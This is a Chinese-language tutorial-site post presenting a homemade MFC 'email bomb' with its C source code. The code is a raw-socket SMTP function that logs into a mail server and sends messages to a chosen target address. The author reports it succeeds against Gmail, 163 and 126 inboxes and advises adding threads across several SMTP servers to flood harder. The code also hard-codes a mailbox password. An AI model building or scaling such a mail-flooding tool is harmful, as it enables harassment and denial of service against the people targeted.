歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
您现在的位置: Linux教程網 >> UnixLinux >  >> Linux編程 >> Linux編程

MFC實現的郵件炸彈【附源碼】

前段時間有個網絡安全實驗,因為這邊我在做信息安全的一個國賽,沒有參加,別人做完了,做了一個郵件炸彈,我覺得蠻有意思的,於是就自己寫了一個,MFC做的,結果是攻擊某些郵箱可以(gmail,163,126),有些不行(QQ郵箱會把發的郵件直接放到垃圾箱裡,我想可能是加了自己的一個包過濾機制,類似防火牆的東西),ok,下面我就開始說說我做的郵件炸彈吧,歡迎大家拍磚~~~~~~~~

首先,展示一下郵件炸彈的界面:


輸入郵件炸彈需要到達的郵箱地址,開始執行,向目標地址,發送郵件,我只寫了一個線程,發送郵件,如果想效果更好的話,你可以修改源碼,多建幾個線程登陸多個SMTP服務器,同時發送郵件,這樣效果更好。。。

我的發送郵件的主要的函數是sendemail實現的:

  1. void sendemail(char *email,char *body,char *smtpip)  
  2. {  
  3.     int sockfd = 0;  
  4.     struct sockaddr_in their_addr = {0};  
  5.     char buf[1500] = {0};  
  6.     char rbuf[1500] = {0};  
  7.     char login[128] = {0};  
  8.     char pass[128] = {0};  
  9.     #ifdef WIN32   
  10.     WSADATA WSAData;  
  11.     WSAStartup(MAKEWORD(2, 2), &WSAData);  
  12.     #endif   
  13.     memset(&their_addr, 0, sizeof(their_addr));  
  14.     their_addr.sin_family = AF_INET;  
  15.     their_addr.sin_port = htons(25);  
  16.     their_addr.sin_addr.s_addr = inet_addr(smtpip);//smtp 服務器   
  17.     // 連接郵件服務器,如果連接後沒有響應,則2 秒後重新連接   
  18.     sockfd = open_socket((struct sockaddr *)&their_addr);  
  19.     memset(rbuf,0,1500);  
  20.     while(recv(sockfd, rbuf, 1500, 0) == 0)  
  21.     {  
  22.         printf("reconnect...\n");  
  23.         Sleep(2);  
  24.         //close(sockfd);   
  25.         sockfd = open_socket((struct sockaddr *)&their_addr);  
  26.   
  27.         memset(rbuf,0,1500);  
  28.     }  
  29.   
  30.     printf("%s\n", rbuf);  
  31.   
  32.     // EHLO   
  33.     memset(buf, 0, 1500);  
  34.     sprintf(buf, "EHLO abcdefg-PC\r\n");  
  35.     send(sockfd, buf, strlen(buf), 0);  
  36.     memset(rbuf, 0, 1500);  
  37.     recv(sockfd, rbuf, 1500, 0);  
  38.     printf("%s\n", rbuf);  
  39.   
  40.     // AUTH LOGIN   
  41.     memset(buf, 0, 1500);  
  42.     sprintf(buf, "AUTH LOGIN\r\n");  
  43.     send(sockfd, buf, strlen(buf), 0);  
  44.     printf("%s\n", buf);  
  45.     memset(rbuf, 0, 1500);  
  46.     recv(sockfd, rbuf, 1500, 0);  
  47.     printf("%s\n", rbuf);  
  48.   
  49.     // USER   
  50.     memset(buf, 0, 1500);  
  51.     sprintf(buf,"[email protected]");//郵箱賬號   
  52.     memset(login, 0, 128);  
  53.     base64(login, buf, strlen(buf));  
  54.     sprintf(buf, "%s\r\n", login);  
  55.     send(sockfd, buf, strlen(buf), 0);  
  56.     printf("%s\n", buf);  
  57.     memset(rbuf, 0, 1500);  
  58.     recv(sockfd, rbuf, 1500, 0);  
  59.     printf("%s\n", rbuf);  
  60.   
  61.     // PASSWORD   
  62.     sprintf(buf, "199183");//郵箱密碼   
  63.     memset(pass, 0, 128);  
  64.     base64(pass, buf, strlen(buf));  
  65.     sprintf(buf, "%s\r\n", pass);  
  66.     send(sockfd, buf, strlen(buf), 0);  
  67.     printf("%s\n", buf);  
  68.   
  69.     memset(rbuf, 0, 1500);  
  70.     recv(sockfd, rbuf, 1500, 0);  
  71.     printf("%s\n", rbuf);  
  72.   
  73.     // MAIL FROM   
  74.     memset(buf, 0, 1500);  
  75.     sprintf(buf, "MAIL FROM: <[email protected]>\r\n");  
  76.     send(sockfd, buf, strlen(buf), 0);  
  77.     memset(rbuf, 0, 1500);  
  78.     recv(sockfd, rbuf, 1500, 0);  
  79.     printf("%s\n", rbuf);  
  80.   
  81.     // RCPT TO 第一個收件人   
  82.     sprintf(buf, "RCPT TO:<%s>\r\n", email);  
  83.     send(sockfd, buf, strlen(buf), 0);  
  84.     memset(rbuf, 0, 1500);  
  85.     recv(sockfd, rbuf, 1500, 0);  
  86.     printf("%s\n", rbuf);  
  87.   
  88.     // DATA 准備開始發送郵件內容   
  89.     sprintf(buf, "DATA\r\n");  
  90.     send(sockfd, buf, strlen(buf), 0);  
  91.     memset(rbuf, 0, 1500);  
  92.     recv(sockfd, rbuf, 1500, 0);  
  93.     printf("%s\n", rbuf);  
  94.   
  95.     // 發送郵件內容,\r\n.\r\n內容結束標記   
  96.     sprintf(buf, "%s\r\n.\r\n", body);  
  97.     send(sockfd, buf, strlen(buf), 0);  
  98.     memset(rbuf, 0, 1500);  
  99.     recv(sockfd, rbuf, 1500, 0);  
  100.     printf("%s\n", rbuf);  
  101.   
  102.     // QUIT   
  103.     sprintf(buf, "QUIT\r\n");  
  104.     send(sockfd, buf, strlen(buf), 0);  
  105.     memset(rbuf, 0, 1500);  
  106.     recv(sockfd, rbuf, 1500, 0);  
  107.     printf("%s\n", rbuf);  
  108.   
  109. // VC2005 需要使用   
  110.     closesocket(sockfd);  
  111. //  close(sockfd);   
  112.     #ifdef WIN32   
  113.     WSACleanup();  
  114.     #endif   
  115.     return;  
  116. }  
Copyright © Linux教程網 All Rights Reserved